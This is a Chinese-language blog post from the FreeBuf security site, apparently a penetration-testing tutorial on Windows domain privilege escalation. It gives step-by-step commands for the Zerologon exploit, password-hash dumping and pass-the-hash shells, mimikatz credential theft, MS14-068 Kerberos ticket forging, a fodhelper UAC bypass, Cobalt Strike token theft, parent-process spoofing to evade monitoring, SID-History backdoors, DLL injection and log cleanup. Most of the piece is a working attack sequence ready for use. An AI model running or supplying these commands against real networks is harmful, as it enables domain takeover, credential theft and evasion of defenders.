freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透-账号提权
2021-09-14 17:57:01

CVE-2020-1472(域内提权)

  • 漏洞环境:
    域控:windows server 2012 R2

  • 利用过程:
    将域控密码设置为空->读取hash->读取sam文件hash(ntds.dit)->恢复域控密码

1.首先验证是否有漏洞

我们使用这个工具 https://github.com/SecuraBV/CVE-2020-1472

python zerologon_tester.py 域控主机名 域控地址
python zerologon_tester.py dc 172.16.253.1


返回success,说明存在漏洞

2. 重置域账号

我们使用这个工具https://github.com/dirkjanm/CVE-2020-1472
但要先安装要安装impacket(https://github.com/SecureAuthCorp/impacket)
安装方法:python -m pip install .
然后执行 python cve-2020-1472-exploit.py 域控主机名 域控地址

注意:这时候密码已经置空

3.读取域控中的hash

我们用impacket中的/impacket/examples/secretsdump.py

# windows
python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass

python secretsdump.py yuaneuro.cn/dc$@172.16.253.1 -just-dc -no-pass

4.获取shell

获取到HASH之后接下来我们就可以利用wmiexec.py登录,从而获取一个SHELL

python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7ab0ec168b0aabb2f20d4de20e4961d4 yuaneuro.cn/administrator@172.16.253.1 -codec gbk

至此,我们就成功获取到了域控的shell,做完权限位置后,我们要恢复域控的密码,不然域控会脱域。

5. 导出SAM中原来的hash

首先利用注册表命令将目标机的sam或者system文件导出,然后清除痕迹

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

这样可以获取域控脱域之前本地保存的hash

6. 解析hash

secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

7. 恢复hash

python reinstall_original_pw.py dc 172.16.253.1 3d6830f709a494680a6c7f6f0ee35386bd2a30cc5fb5c1809c19b0666292cc...

.

MS14-068(server2012以下系统可用)

ms14-068利用的条件有4个

  1. 域用户

  2. 域控名

  3. 域用户密码
    使用mimikatz抓取密码:
    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > 1.txt

  4. 域用户sid
    whoami /user

  5. 域ip

  • 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书

MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u testuser@yuaneuro.cn -p qwe123@Q -s S-1-5-21-3398013025-58582661-3905515547-1103 -d 172.16.253.1

  • 然后使用mimikatz将证书写入,从而提升为域管理员

kerberos::purge
kerberos::ptc TGT_testuser@yuaneuro.cn.ccache


bypass UAC

  1. 自动提升(autoElevate)
    原理:具有autoElevate属性为True的应用程序会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软认为它是可信的。故此,在该程序启动时,将会以管理员身份启动。


fodhelper.exe是win10中引入的,位置在:C:\Windows\System32\fodhelper.exe,因为它使用微软的证书签名软件并位于一个受信任的位置,最重要的是它autoElevate属性为True,允许自动升级,不需要任何交互来允许进程升级

启动 fodhelper.exe 时,会检查注册表
HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\commandHKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\DelegateExecute,如果存在则会执行第一个里面的值。

所以我们可以在注册表中创建此结构:

reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
fodhelper.exe
reg delete HKEY_CURRENT_USER\Software\Classes\ms-settings\ /f

  1. DLL劫持
    原理:首先生成编译好的DLL,并执行自动高权限的程序取加载DLL

    使用cs的uac-token-duplication提权模块也可以bypassuac

CVE-2015-1701(内核特权提升漏洞)

exp:https://github.com/hfiref0x/CVE-2015-1701
直接运行就行了

MS16-032,CVE-2016-0099(逻辑漏洞)

exp:https://github.com/zcgonvh/MS16-032

CVE-2020-0787 (本地提权)

exp:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

Token窃取与冒用

  • 使用 DuplicateToken(Ex)函数创建一个新的访问令牌,该令牌复制自现有令牌。然后可以将该令牌用于 ImpersonateLoggedOnUser函数,允许调用线程模拟已登录用户的安全上下文,或者使用 SetThreadToken函数将模拟令牌分配给线程。当目标用户在系统上具有非网络登录会话时,这很有用。

这里我们使用Cobalt Strike做演示:

首先我们以testuser用户上线,使用bypassuac提权至管理员。

  • 窃取token:
    打开Process List

    我们看到这里有域管理员的账号登录

    点击steal或者输入steal_token {pid}就可以窃取凭证了

此时就可以访问域控了

使用 rev2self可移除当前窃取的令牌

父进程PPID欺骗

  • 通常在检查中,通过对父子进程间关系的检测来判断该进程是否存在异常,使用父进程欺骗可以逃避进程监视防御或提升特权。

首先我们使用cs生成一个木马在受害端执行。

查看进程可看到默认的父进程ppid是464

我们点击右键选择Set as PPID,

或者直接输入ppid {ppid}

然后派生一个会话,选择一个listener,然后我们查看进程

可以看到父进程已经成2556了

或者如果在机器上有更高权限的用户存在,我们也可以将父pid设置成高权限账户的进程:

这样派生出来的会话也是域管理员的权限的会话。

SID-History注入(后门)

  • 原理:windows中的sid是独一无二的,用于标识用户或组帐户。帐户可以在SID-History Active Directory 属性中保存额外的 SID,允许域之间的可互操作帐户迁移。所以我们可以使用管理员权限将管理员等用户的SID插入到SID-History中,以此提升权限。

首先在域控执行mimikatz
privilege::debug,提升权限,
sid::patch,对域控LDAP修改过程中的验证函数进行patch,patch共分为两个步骤,如果仅第一步patch成功的话,那么可以使用sid::add功能,两步都patch成功的话才可以使用sid::modify功能,
sid::add /sam:test /new:administrator,将administrator的SID添加到hack的SID History属性中。

DLL注入

首先使用cs生成一个dll

然后RemoteDLLInjector64使用CreateRemoteThread将DLL注入到进程中

RemoteDLLInjector64.exe {PID} {DLL_path}


然后就可以得到一个system权限的会话

# 提权 # 内网渗透 # BypassUAC
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录